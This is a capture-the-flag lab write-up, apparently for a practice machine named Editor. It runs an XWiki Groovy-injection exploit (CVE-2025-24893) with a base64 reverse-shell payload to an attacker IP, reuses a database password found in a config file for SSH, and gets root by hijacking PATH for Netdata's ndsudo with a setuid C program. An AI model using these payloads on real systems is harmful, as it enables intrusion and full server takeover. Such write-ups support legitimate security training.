#linux #xwiki #netdata #ndsudo #PATH #SUID

Recon

Nmap:

Enter your target IP address or URL here: 10.129.231.23
------------------------------------------------------------
Scanning target 10.129.231.23
Time started: 2026-08-08 03:23:48.361145
------------------------------------------------------------
Port 22 is open
Port 80 is open
Port 8080 is open
Port scan completed in 0:00:47.420956
------------------------------------------------------------
Threader3000 recommends the following Nmap scan:
************************************************************
nmap -p22,80,8080 -sV -sC -T4 -Pn -oA 10.129.231.23 10.129.231.23
************************************************************
Would you like to run Nmap or quit to terminal?
------------------------------------------------------------
1 = Run suggested Nmap scan
2 = Run another Threader3000 scan
3 = Exit to terminal
------------------------------------------------------------
Option Selection: 1
nmap -p22,80,8080 -sV -sC -T4 -Pn -oA 10.129.231.23 10.129.231.23
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-08 03:24 -0400
Nmap scan report for 10.129.231.23
Host is up (0.10s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
|_http-server-header: Jetty(10.0.20)
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.231.23:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  Server Type: Jetty(10.0.20)
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.78 seconds
------------------------------------------------------------

Portscanning shows ports 22 (ssh), 80 and 8080 (webservers). adding editor.htb to /etc/hosts

Port 8080

Web/Github research

Found xwiki running on the sever. internet reveals unathed RCE vuln in the SolrSearchMacros endpoint under http://editor.htb:8080/xwikin/bin/view/Main/SolrSearchMacros?search=VULNERABLE TO GROOVY INJECTION. Found POC.

Note

You must install Rust on kali if you want to build this specific POC correctly. Find instructions for that here

Initial Access

CVE-2025-24893 RCE

┌──(kali㉿kali)-[~/…/HTB/editor/exploit/cve-2025-24893-poc]
└─$ ./target/release/cve-2025-24893-gato --url http://editor.htb:8080 --ip 10.10.14.192

     ___
 _.-|   |          |\__/,|   (`\
{   |   |          |o o  |__ _) )
 "-.|___|        _.( T   )  `  /
  .--'-`-.     _((_ `^--' /_<  \
.+|______|__.-||__)`-'(((/  (((/
CVE-2025-24893 PoC by Investigato
Xwiki Remote Code Execution    

[*] Sending exploit to: http://editor.htb:8080/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7D%22bash%20-c%20%7Becho%2CYmFzaCAtYyAnc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTkyLzQ0NDQgMD4mMSc%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22.execute%28%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
[*] Check your listener

┌──(kali㉿kali)-[~/…/HTB/editor/exploit/cve-2025-24893-poc]
└─$ nc -lnvp 4444                                             
listening on [any] 4444 ...
connect to [10.10.14.192] from (UNKNOWN) [10.129.231.23] 34370
sh: 0: can't access tty; job control turned off
$ id
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
$ 

As you can see, we successfully get a reverse shell on the system as user xwiki.

xwiki@editor:~$ ls /home
total 12K
4.0K drwxr-xr-x  3 root   root   4.0K Jul  8  2025 .
4.0K drwxr-xr-x 18 root   root   4.0K Jul 29  2025 ..
4.0K drwxr-x---  3 oliver oliver 4.0K Jul  8  2025 oliver

Enumerating /home we see user oliver on the server.

landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:115:121:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat:/usr/sbin/nologin
xwiki:x:997:997:XWiki:/var/lib/xwiki:/usr/sbin/nologin
netdata:x:996:999:netdata:/opt/netdata:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
_laurel:x:995:995::/var/log/laurel:/bin/false

we confirm user oliver is the only user besides root that doesn't have a login shell.

sudo: The "no new privileges" flag is set, which prevents sudo from running as root.
sudo: If sudo is running in a container, you may need to adjust the container configuration to disable the flag.

Initial enumeration of our sudo privs shows that we have the no new privilege flag set which is common in containerized envs.

xwiki@editor:~$ ls /opt
total 16K
4.0K drwxr-xr-x  4 root root 4.0K Jul  8  2025 .
4.0K drwxr-xr-x 18 root root 4.0K Jul 29  2025 ..
4.0K drwx--x--x  4 root root 4.0K Jul  8  2025 containerd
4.0K drwxr-xr-x  8 root root 4.0K Jul  8  2025 netdata

Confirmed containderd in use on our system.

xwiki@editor:~$ find / -perm -04000 2>/dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/cgroup-network
/opt/netdata/usr/libexec/netdata/plugins.d/network-viewer.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/local-listeners
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
/opt/netdata/usr/libexec/netdata/plugins.d/ioping
/opt/netdata/usr/libexec/netdata/plugins.d/nfacct.plugin
/opt/netdata/usr/libexec/netdata/plugins.d/ebpf.plugin
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-****

Further SUID enumeration shows that netdata has the default intstallation including ndsudo. Advisory shows this can be abused on affected versions to execute arbitrary system commands due to an unquoted path vulnerability. This may come in handy if we can use sudo as oliver or if we somehow manage to laterally move to the netdata user.

hibernate.cfg.xml:    <property name="hibernate.connection.password">theEd1t0rTeam99</property>
hibernate.cfg.xml:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml:    <property name="hibernate.connection.password"></property>
hibernate.cfg.xml:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml:    <property name="hibernate.connection.password"></property>
xwiki.properties:#-# * password: the password to use to authenticate to the repository
xwiki.properties:# extension.repositories.privatemavenid.auth.password = thepassword
xwiki.properties:#-# Define the lifetime of the token used for resetting passwords in minutes. Note that this value is only used after
xwiki.properties:#-# Use a different value if the reset password email link might be accessed several times (e.g. in case of using an
xwiki.properties:# security.authentication.resetPasswordTokenLifetime = 0
xwiki.properties:#-# This parameter defines if as part of the migration R140600000XWIKI19869 the passwords of impacted user should be
xwiki.properties:#-# their users to keep their passwords nevertheless, then enable the configuration and set it to false before the
xwiki.properties:# security.migration.R140600000XWIKI19869.resetPassword = true
xwiki.properties:#-# This parameter defines if reset password emails should be sent as part of the migration R140600000XWIKI19869.
xwiki.properties:#-# this option to false: note that in such case a file containing the list of users for whom a reset password email
xwiki.properties:# security.migration.R140600000XWIKI19869.sendResetPasswordEmail = true
xwiki.properties:#-# this option to false: note that in such case a file containing the list of users for whom a reset password email
xwiki.properties:#-# Password to authenticate on the SMTP server, if needed. By default no authentication is performed.
xwiki.properties:#-# This configuration property can be overridden in XWikiPreferences objects, by using the "smtp_server_password"
xwiki.properties:# mail.sender.password = somepassword
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwikipassword2025</property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password"></property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password">xwiki</property>
hibernate.cfg.xml.ucf-dist:    <property name="hibernate.connection.password"></property>
fonts/LICENSE-freefont:source code form), and must require no special password or key for
xwiki.cfg:# xwiki.superadminpassword=syste

After several hours of manually enumerating the filesystem, using a hint that also said use the filesystem for xwiki, passing all of the xwiki files through trufflehog and DumpsterDiver and finding nothing I finally referenced a walk through that said a password was in hibernate.cfg.xml which lo and behold we find one theEd1t0rTeam99. Not sure how trufflehog and DumpsterDiver missed it but whatever.

┌──(kali㉿kali)-[~/…/files/xwiki_files/etc_xwiki/xwiki]
└─$ ssh oliver@editor.htb                            
The authenticity of host 'editor.htb (10.129.231.23)' can't be established.
ED25519 key fingerprint is: SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editor.htb' (ED25519) to the list of known hosts.
oliver@editor.htb's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-151-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Aug 10 09:45:52 PM UTC 2026

  System load:  0.04              Processes:             238
  Usage of /:   65.1% of 7.28GB   Users logged in:       0
  Memory usage: 59%               IPv4 address for eth0: 10.129.231.23
  Swap usage:   0%


Expanded Security Maintenance for Applications is not enabled.

4 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

4 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Aug 10 21:45:53 2026 from 10.10.14.192
oliver@editor:~$ 

Successfully ssh as oliver to the system.

Privilege Escalation

Group Abuse (netdata)

oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)

evaluating our user's group membership we see that they are apart of the netdata group. We may be able to abuse the ndsudo unquoted path vuln to escalate our privileges.

oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
at least 2 parameters are needed, but 1 were given.

Calling the full path to ndsudo with no arguments we see we do have permission to run it on this machine.

oliver@editor:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo -h

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .

Reading the helper text for ndsudo we can see that we have the ability to run a few executables. However, those executables are not fully quoted paths and therefore rely on the user's $PATH variable to find the binaries being called. Since this exists coupled with it's SUID nature it retains root privileges as it's executed. If we can create a binary with a similar name to one of the ones in the script, we can get a shell as root

oliver@editor:~$ cat nvme
#!/bin/bash
cp /bin/bash /tmp/bash && chmod +s /tmp/bash
oliver@editor:~$ export PATH:/home/oliver:$PATH
-bash: export: `PATH:/home/oliver:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin': not a valid identifier
oliver@editor:~$ 

What we've done is created a script called nvme as it is one of the named executables in ndsudo. We then updated our $PATH variable to begin with our user's home folder where our malicious nvme script resides. Now when we call ndsudo nvme-list it should copy /bin/bash to /tmp/bash and make it an SUID binary allowing us to call a shell as root.

However no dice.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>

int main() {
    setuid(0);
    seteuid(0);
    setgid(0);
    setegid(0);
    system("cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 6777 /tmp/0xdf");
}

The reason our original exploit isn't working is because the binary for ndsudo drops our SUID context when running so we need to reset it with a custom c script instead of just a bash script on our own machine, compile it with gcc nvme.c -o nvme and upload it to our target machine with a python http server and wget. From there we make it executable and do the same $PATH tricks as before.

oliver@editor:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
oliver@editor:/tmp$ ls
total 1.4M
4.0K drwxrwxrwt 10 root    root    4.0K Aug 10 22:46 .
4.0K drwxr-xr-x 18 root    root    4.0K Jul 29  2025 ..
1.4M -rwsrwsrwx  1 root    root    1.4M Aug 10 22:46 0xdf
   0 srwxrwx---  1 netdata netdata    0 Aug 10 18:13 netdata-ipc
 16K -rwxrwxr-x  1 oliver  oliver   16K Aug 10 22:45 nvme
4.0K drwx------  3 root    root    4.0K Aug 10 22:23 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-fwupd.service-IxBfbC
4.0K drwx------  3 root    root    4.0K Aug 10 18:12 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-ModemManager.service-EGcjct
4.0K drwx------  3 root    root    4.0K Aug 10 18:12 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-systemd-logind.service-QyoQld
4.0K drwx------  3 root    root    4.0K Aug 10 18:12 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-systemd-resolved.service-5qZyTE
4.0K drwx------  3 root    root    4.0K Aug 10 18:12 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-systemd-timesyncd.service-IoVBvs
4.0K drwx------  3 root    root    4.0K Aug 10 22:23 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-upower.service-35wPvp
4.0K drwx------  3 root    root    4.0K Aug 10 18:12 systemd-private-4d5a2305bbd94ae8b16bc382f6dfc210-xwiki.service-0oXcZr
4.0K drwx------  2 root    root    4.0K Aug 10 18:13 vmware-root_611-3980232955


oliver@editor:/tmp$ ./0xdf -p
0xdf-5.1# id
uid=1000(oliver) gid=1000(oliver) euid=0(root) egid=0(root) groups=0(root),999(netdata),1000(oliver)

Once we made that change we successfully got our copied /bin/bash SUID root-owned binary in /tmp/0xdf and successfully get a session as root (contextually). pwned.

Final Thoughts

Takeaways

  • be sure to install all dependencies for a tool you need if it uses an non-default language (i.e. Rust, Go, etc.)
  • read all config files carefully. sometimes even sniffers will miss obvious secrets. check symlink destinations too (i.e. /etc/[binary])
  • if your PATH abuse vuln is dropping SUID context try writing a C script wrapper to persist it.